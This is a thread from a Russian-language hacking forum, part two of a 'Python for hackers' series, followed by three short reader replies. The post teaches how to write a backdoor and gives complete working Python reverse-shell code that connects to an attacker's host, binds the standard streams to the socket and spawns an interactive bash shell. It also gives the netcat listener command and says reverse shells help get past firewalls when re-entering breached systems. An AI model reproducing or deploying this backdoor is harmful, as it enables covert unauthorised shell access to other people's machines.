Python для хакера - Часть 2.

Gidroponika

Exploit Developer
Joined
Aug 17, 2016
Messages
1,783
Reaction score
826
Всем привет, дорогие друзья! Наконец мы дожили до второй части. Заранее извиняюсь, если кого-то заставил ждать. Прошлая часть немного навела шороху, надеюсь и эта не отстанет.

[*Прошлая часть*]


[Введение]

В этой части мы постараемся написать backdoor. В его написании, я не вижу ничего сложного, но перед тем как начать его создавать, давайте разберемся с "задней дверью" подробнее!

Backdoor(или же "запасной ход") - это программный код при помощи которого злоумышленник может получить доступ к системе(в частых случаях к shell'у).


57ec8cf7726fe407198156_1000-jpg.15585



Так почему же backdoor - черный ход? - спросите вы.
Потому, что его используют для повторного проникновения в уже взломанную систему! - отвечу вам, я)

Кстати, Shell - это консольная оболочка системы. К ней мы сегодня и постараемся получить доступ.
Существует 2 способа получения доступа к командной оболочке. Это reverse и bind.

Bind Shell - это, когда атакуемая машина играет роль сервера, а машина атакующего - клиент, и при воспроизведении подключения к атакуемой машине, она же дает нам доступ к shell'у.

Reverse Shell - это, когда атакующая машина играет роль сервера, а бэкдор находится на клиентской стороне и воспроизводит подключение к серверу(к вам) давая доступ к shell'у.

Reverse Shell, кстати, используется в том случае, если соединение блокируется фаерволом. Как раз таки его мы с вами и опишем.

[Приступаем к делу]

Что же, сегодня нам понадобятся 3 следующие библиотеки:
  1. 1)Socket
  2. 2)Subprocess
  3. 3)OS
С библиотекой socket, мы уже познакомились в прошлой части, а теперь немного про остальные 2-е.
Subprocess - запускает определенные(заданные вами) процессы.
OS - это модуль, который предназначен для работы с операционной системой.

И так, подключаем данные модули:

Python:
import subprocess
import socket
import os

Далее создаем сокет и осуществляем подключение:

Python:
host = "имя сервера"
port = порт

sock = socket.socket()
sock.connect((host, port))

А теперь не мало важная часть. Это - потоки ввода данных. Наша задача, привязать потоки данных к нашей серверной части.

Python:
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)

И конечно же даем доступ к shell'у(командной оболочке):

Code:
subprocess.call(["bash","-i"])

В итоге получаем backdoor, который получает доступ по принципу Reverse Shell

Python:
import subprocess
import socket
import os

host = 192.168.1.X # server name
port = 9191 #ясно дело порт )

sock = socket.socket()
sock.connect((host, port))

os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)

subprocess.call(["bash", "-i"])

Далее, на атакующей машине остается только запустить сервер. Это делается просто - netcat.
Пропишем следующую команду:

Code:
nc -nlvp <порт>

В итоге наблюдаем, что все сработало как нам надо)


backdoorp-png.15587




А на этом все. Попробуйте написать свой сервер для атакующей машины.


*Следующая часть*
 
Last edited:

Arcana

Member
Joined
Mar 13, 2020
Messages
29
Reaction score
2
Посмотрел документацию по os.dup2 и sock.fileno, ничего не понял. Можешь объяснить пж? p.s. я свой бэкдор писал через sock.send() & receive() , так что немного непонятно как здесь всё работает, код ведь даже не в while true, как он может принимать больше одной комманды? p.s.2 Извини за отнятое время(
 

Dgessik

New member
Joined
Apr 14, 2011
Messages
1
Reaction score
0
"Часть 2, уже давно ожидал. Удивительно, какой прогресс сделали пайтон-пакеты за последний год, прямо сказать, сейчас не приходится выбирать между ними. Следующий в очереди - анализ сетевых пакетов, кто уже пробовал?"
 

BrumeL

New member
Joined
Aug 4, 2004
Messages
2
Reaction score
0
"Nice continuation of the Python series! I've been meaning to dive deeper into the security aspects of Python, especially with regards to web scraping and vulnerability testing. Has anyone got any recommendations for tools or libraries to explore?"
 
Top